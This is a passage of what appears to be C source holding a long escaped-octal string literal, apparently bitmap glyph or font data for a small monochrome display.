\"\\340\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\7\\7\\7\\3\\3\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\300\\300\\300\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\360\"\n  \"\\374\\376\\377\\77\\7\\3\\3\\3\\3\\7\\17\\177\\377\\377\\374\\360\\0\\0\\0\\0\\0\\0\\0\\7\\37\\177\\177\\376\\360\\340\\340\\340\"\n  \"\\340\\340\\360\\376\\177\\77\\37\\7\\0\\0\\0\\0\\0\\0<<<<<<<=====<<<<<<\"\n  \"<\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\30<~\\374\\370\\360\\340\\340\\300\\230<>|\\370\\360\\360\\340\\300\\200\\0\\0\\0\\0\\0\\200\\300\"\n  \"\\340\\360\\370\\375\\177\\77\\37\\217\\307\\340\\360\\370\\375\\177\\77\\37\\17\\7\\0\\0\\0\\1\\3\\7\\7\\3\\1\\0\\0\\0\\0\\1\"\n  \"\\3\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\340pp\\370\\370\\370\\370\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\360\\340 \\0\\0\\0\\0\\0\\377\"\n  \"\\377\\377\\377\\0\\0\\0\\0\\0\\0\\300\\360\\374\\377\\177\\17\\3\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\0\\0\\200\\340\\374\"\n  \"\\377\\177\\37\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\370\\376\\377\\77\\7\\1\\0\\200\\300\\340\\360\\374\\374\"\n  \"\\374\\0\\0\\0\\0\\0`\\370\\376\\377\\77\\17\\3\\0\\70<>\\77\\77;\\71\\70\\377\\377\\377\\70\\70\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\0\\0\\0\\340pp\\370\\370\\370\\370\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\200\\360\\360\\360\\340 \\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\200\\340\\370\\376\\377\\77\\17\\3\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\0\\0\\300\\360\\374\\377\\177\\37\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\200\\340\\374\\377\\377\\77\\7q\\370x<\\34\\34\\34<\\374\\370\\360\\340\\0\\0`\\370\\376\\377\\77\\17\\3\\0\\0\\0\"\n  \"\\200\\300\\340\\360\\370\\274\\236\\237\\217\\207\\203\\201\\0\\0\\0\\0\\1\\1\\0\\0\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\3\\3\"\n  \"\\3\\3\\3\\3\\360\\360x\\70\\70\\70x\\360\\360\\300\\0\\0\\0\\0\\0\\0\\200\\360\\360\\340`\\0\\0\\0\\340\\300\\200\\16\"\n  \"\\16\\16\\236\\377\\377\\373\\360\\0\\200\\340\\370\\376\\377\\77\\17\\3\\0\\0\\0\\0\\3\\3\\7\\7\\7\\7\\7\\3\\3\\301\\360\\376\"\n  \"\\377\\177\\17\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\360\\374\\377\\177\\37\\7\\1\\200\\300\\340\\360\\374\\374\\374\"\n  \"\\0\\0\\0\\0\\0\\0`\\370\\376\\377\\77\\17\\3\\0\\70<>\\77;\\71\\70\\377\\377\\377\\70\\70\\70\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\360\\360\\360\"\n  \"\\340\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\203\\207\\207\\207\\203\\1\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\300\\340\\340\\360\\374\\377\\177\\77\\37\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\376\\377\\377\"\n  \"\\377\\377\\207\\1\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\300\\200\\200\\0\\0\\0\\0\\0\\3\\7\\17\\37\\37\\77>>>>\"\n  \">>\\37\\37\\37\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\203\\347\\307\\17\\17\\17\\6\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\200\\360\\374\\377\\377\\377\\376\\370\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\374\\377\\377\\77\\7\\0\\3\"\n  \"\\37\\177\\377\\377\\370\\340\\0\\0\\0\\0\\0\\0\\0\\340\\374\\377\\377\\377\\37\\37\\36\\36\\36\\36\\36\\36\\37\\77\\377\\377\\377\\374\"\n  \"\\340\\200\\0\\0\\77\\77\\77\\37\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\37\\77\\77\\77< \\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\6\\17\\17\\217\\347\\307\"\n  \"\\3\\3\\3\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\360\\374\\377\\377\\377\\376\\370\\300\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\200\\340\\374\\377\\377\\77\\7\\0\\3\\37\\177\\377\\377\\370\\340\\0\\0\\0\\0\\0\\0\\0\\340\\374\\377\"\n  \"\\377\\377\\37\\37\\36\\36\\36\\36\\36\\36\\37\\77\\377\\377\\377\\374\\340\\200\\0\\0\\77\\77\\77\\37\\3\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\7\\37\\77\\77\\77< \\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\10\\34>\\37\\17\\17\\207\\343\\307\\7\\17\\37>>\\14\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\200\\360\\374\\377\\377\\377\\376\\370\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\374\\377\\377\\77\\7\\0\\3\"\n  \"\\37\\177\\377\\377\\370\\340\\0\\0\\0\\0\\0\\0\\0\\340\\374\\377\\377\\377\\37\\37\\36\\36\\36\\36\\36\\36\\37\\77\\377\\377\\377\\374\"\n  \"\\340\\200\\0\\0\\77\\77\\77\\37\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\37\\77\\77\\77< \\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\7\\3\\1\\1\\201\\343\\303\"\n  \"\\7\\7\\7\\7\\7\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\360\\376\\377\\377\\377\\377\\370\\340\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\200\\340\\374\\377\\377\\77\\7\\0\\3\\37\\177\\377\\377\\370\\340\\0\\0\\0\\0\\0\\0\\0\\340\\374\\377\"\n  \"\\377\\377\\37\\37\\36\\36\\36\\36\\36\\36\\37\\77\\377\\377\\377\\374\\340\\200\\0\\0\\77\\77\\77\\37\\3\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\7\\37\\77\\77\\77< \\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\3\\7\\17\\17\\17\\7\\3\\300\\340\\300\\3\\7\\17\\17\\17\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\300\\360\\376\\377\\377\\377\\376\\370\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\360\\376\\377\\377\\77\\7\\0\\3\"\n  \"\\37\\377\\377\\377\\370\\340\\0\\0\\0\\0\\0\\0\\200\\360\\376\\377\\377\\177\\37\\37\\36\\36\\36\\36\\36\\36\\37\\77\\377\\377\\377\\374\"\n  \"\\340\\200\\0\\0\\77\\77\\77\\17\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\37\\77\\77\\77<\\60\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\17\\37\\77y\\360\\360\"\n  \"y\\77\\37\\17\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\374\\377\\377\\377\\377\\374\\340\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\340\\370\\377\\377\\77\\17\\1\\1\\17\\77\\377\\377\\374\\340\\200\\0\\0\\0\\0\\0\\0\\300\\370\\377\"\n  \"\\377\\377\\37\\37\\36\\36\\36\\36\\36\\36\\37\\37\\177\\377\\377\\374\\360\\200\\0\\0\\77\\77\\77\\77\\7\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\3\\17\\77\\77\\77>\\60\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\0\\0\\0\\0\"\n  \"\\0\\200\\360\\376\\377\\377\\37\\377\\377\\377\\377\\3\\3\\3\\3\\3\\3\\3\\3\\3\\0\\0\\0\\340\\374\\377\\377\\177\\17\\0\\0\\377\"\n  \"\\377\\377\\377xxxxxxxx\\0\\200\\360\\377\\377\\377\\77\\77<<<<\\377\\377\\377\\377\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\77\\77\\77\\17\\1\\0\\0\\0\\0\\0\\0\\77\\77\\77\\77<<<<<<<<<\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\300\"\n  \"\\300\\300\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\300\\360\\374\\376\\377\\177\\37\\17\\7\\7\\7\\3\\7\\7\\7\\17\\37\\177\\177\"\n  \"~<\\60\\0\\376\\377\\377\\377\\377\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\77\\377\\377\"\n  \"\\377\\374\\340\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\300\\200\\0\\0\\0\\0\\0\\3\\7\\17\\17\\37\\37\\77>>\"\n  \"\\376\\376>>\\37\\37\\37\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\70\\70\\70pwwww\\177\\77\\36\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\300\\300\\300\\300\\301\\301\\301\\303\\303\\307\\307\\307\\317\\317\\306\\300\\300\\300\\300\\300\\300\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\377\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\0\\0\\0\\377\\377\\377\\377\\377xxxxxx\"\n  \"xxxxxxx\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\77\\77\\77\\77\\77<<<<<<<<<<<<<<<<\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\302\\317\\317\\317\\307\"\n  \"\\307\\303\\303\\303\\301\\301\\300\\300\\300\\300\\0\\0\\0\\377\\377\\377\\377\\377\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\"\n  \"\\3\\3\\0\\0\\0\\377\\377\\377\\377\\377xxxxxxxxxxxxx\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\77\\77\\77\\77\\77<<<<<<\"\n  \"<<<<<<<<<<\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\300\\300\\300\\314\\334\\336\\337\\317\\317\\307\\303\\307\\317\\317\\337\\376\\334\\314\\300\\300\\300\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\377\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\0\\0\\0\\377\\377\\377\\377\\377xxxxxx\"\n  \"xxxxxxx\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\77\\77\\77\\77\\77<<<<<<<<<<<<<<<<\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\303\\307\\317\\317\\317\\307\\303\\300\\300\"\n  \"\\300\\303\\307\\317\\317\\317\\307\\303\\300\\300\\0\\0\\0\\377\\377\\377\\377\\377\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\"\n  \"\\3\\3\\0\\0\\0\\377\\377\\377\\377\\377xxxxxxxxxxxxx\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\77\\77\\77\\77\\77<<<<<<\"\n  \"<<<<<<<<<<\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\300\\300\\300\\301\\301\\303\\303\\303\\307\\307\\317\\317\\317\\302\\300\\300\\300\\0\\0\\0\\0\\0\\0\\0\\3\\3\"\n  \"\\3\\3\\3\\3\\377\\377\\377\\377\\377\\3\\3\\3\\3\\3\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0<<<<<<\\77\\77\\77\\77\\77<<<<<<<\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\302\\307\\317\\317\\307\\307\"\n  \"\\307\\303\\303\\301\\301\\301\\300\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\377\\377\\377\\377\\377\\3\\3\\3\\3\\3\\3\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0<<<<<<\\77\\77\\77\\77\"\n  \"\\77<<<<<<<\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\300\\314\\374\\336\\337\\317\\317\\307\\303\\307\\307\\317\\337\\376\\336\\314\\300\\0\\0\\0\\0\\0\\0\\0\\3\\3\"\n  \"\\3\\3\\3\\3\\377\\377\\377\\377\\377\\3\\3\\3\\3\\3\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0<<<<<<\\77\\77\\77\\77\\77<<<<<<<\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\303\\307\\317\\317\\317\\307\\303\\300\\300\\300\"\n  \"\\303\\307\\317\\317\\317\\307\\303\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\377\\377\\377\\377\\377\\3\\3\\3\\3\\3\\3\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0<<<<<<\\77\\77\\77\\77\"\n  \"\\77<<<<<<<\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\377\\3\\3\\3\\3\\7\\7\\7\\7\\17\\37\\177\\377\\376\\374\\360\\300\\0\\0x\\377\\377\\377\\377\\377xxxxx\\0\"\n  \"\\0\\0\\0\\0\\0\\3\\377\\377\\377\\377\\376\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\374\\377\\377\"\n  \"\\377\\77\\7\\0\\0\\77\\77\\77\\77\\77<<<>>>>\\77\\37\\37\\17\\17\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\301\\303\\303\\207\\3\\1\\1\\1\\3\\3\"\n  \"\\7\\7\\7\\7\\7\\307\\303\\301\\300\\300\\0\\0\\377\\377\\377\\377\\377\\177\\376\\370\\340\\300\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\377\\377\\377\\377\\377\\0\\1\\7\\37\\177\\377\\374\\360\\300\\200\\0\\0\\377\\377\\377\\377\\377\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\0\\1\\3\\17\\77\\377\\376\\370\\377\\377\\377\\377\\377\\0\\0\\77\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\3\\17\\37\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\203\\203\\303\\307\\307\\317\\317\\317\\316\\206\\200\\0\\0\\0\\0\\0\\0\\0\\340\\360\\374\\376\"\n  \"\\377\\77\\37\\17\\7\\7\\7\\7\\7\\7\\17\\37\\77\\377\\376\\374\\370\\340\\0\\0\\377\\377\\377\\377\\1\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\1\\377\\377\\377\\377\\377\\0\\77\\377\\377\\377\\374\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\370\\377\\377\"\n  \"\\377\\177\\17\\0\\0\\0\\3\\7\\17\\17\\37\\37>>><>>\\77\\37\\37\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\202\\216\\317\\317\\317\\307\"\n  \"\\307\\307\\303\\203\\203\\0\\0\\0\\0\\0\\0\\0\\340\\360\\374\\376\\377\\77\\37\\17\\7\\7\\7\\7\\7\\7\\17\\37\\77\\377\\376\\374\"\n  \"\\370\\340\\0\\0\\377\\377\\377\\377\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\377\\377\\377\\377\\377\\0\\77\\377\\377\\377\"\n  \"\\374\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\370\\377\\377\\377\\177\\17\\0\\0\\0\\3\\7\\17\\17\\37\\37>>><\"\n  \">>\\77\\37\\37\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\10\\34>\\237\\237\\317\\307\\307\\303\\307\\317\\337\\277\\276\\34\\10\\0\\0\\0\\0\\0\\340\\360\\374\\376\"\n  \"\\377\\77\\37\\17\\7\\7\\7\\7\\7\\7\\17\\37\\77\\377\\376\\374\\370\\340\\0\\0\\377\\377\\377\\377\\1\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\1\\377\\377\\377\\377\\377\\0\\77\\377\\377\\377\\374\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\370\\377\\377\"\n  \"\\377\\177\\17\\0\\0\\0\\3\\7\\17\\17\\37\\37>>><>>\\77\\37\\37\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\201\\201\\301\\301\\301\\303\"\n  \"\\303\\307\\307\\207\\207\\3\\3\\1\\0\\0\\0\\0\\340\\360\\374\\376\\377\\77\\37\\17\\7\\7\\7\\7\\7\\7\\17\\37\\77\\377\\376\\374\"\n  \"\\370\\340\\0\\0\\377\\377\\377\\377\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\377\\377\\377\\377\\377\\0\\77\\377\\377\\377\"\n  \"\\374\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\370\\377\\377\\377\\177\\17\\0\\0\\0\\3\\7\\17\\17\\37\\37>>><\"\n  \">>\\77\\37\\37\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\3\\7\\17\\17\\217\\207\\303\\300\\300\\300\\303\\307\\317\\217\\217\\7\\3\\0\\0\\0\\0\\0\\340\\360\\374\\376\"\n  \"\\377\\77\\37\\17\\7\\7\\7\\7\\7\\7\\17\\37\\77\\377\\376\\374\\370\\340\\0\\0\\377\\377\\377\\377\\1\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\1\\377\\377\\377\\377\\377\\0\\77\\377\\377\\377\\374\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\370\\377\\377\"\n  \"\\377\\177\\17\\0\\0\\0\\3\\7\\17\\17\\37\\37>>><>>\\77\\37\\37\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\340\\300\"\n  \"\\200\\0\\0\\0\\0\\0\\1\\3\\7\\17\\37\\277\\377\\376\\374\\370\\374\\376\\377\\277\\37\\17\\7\\3\\1\\0\\0\\0\\0\\0\\60x\"\n  \"\\374\\376\\177\\77\\37\\17\\7\\3\\7\\17\\37\\77\\177\\376\\374x \\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\340\\340\\340\\340\\340\\340\\300\\300\\300\\340\\360\\370\\370p\\60\\0\\360\\370\\376\\377\"\n  \"\\377\\77\\17\\7\\3\\3\\3\\3\\203\\343\\377\\377\\177\\177\\377\\377\\375\\360\\200\\0\\377\\377\\377\\377\\1\\0\\0\\0\\300\\340\\370\\376\"\n  \"\\177\\37\\7\\1\\0\\0\\377\\377\\377\\377\\377\\0\\77\\177\\377\\377\\374\\360\\374\\377\\77\\17\\3\\1\\0\\0\\200\\300\\340\\374\\377\\377\"\n  \"\\377\\77\\7\\0p|\\377\\177\\77\\17\\17\\17\\37\\37\\37\\36\\37\\37\\37\\17\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300A\\1\\3\\3\\7\\7\\7\"\n  \"\\17\\17\\7\\2\\0\\300\\300\\300\\300\\300\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\177\\377\\377\\377\"\n  \"\\377\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\377\\377\\377\\377\\177\\0\\0\\0\\1\\7\\17\\17\\37\\37\\77>>>>\"\n  \">>\\77\\37\\37\\17\\17\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\300\\300\\300\\300\\300@\\2\\17\\17\\17\\7\\7\\7\\3\\3\\1\\1\\300\\300\\300\\300\\300\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\177\\377\\377\\377\\377\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\377\\377\\377\"\n  \"\\377\\177\\0\\0\\0\\1\\7\\17\\17\\37\\37\\77>>>>>>\\77\\37\\37\\17\\17\\7\\1\\0\\0\\0\\0\\0\\0\\0\"\n  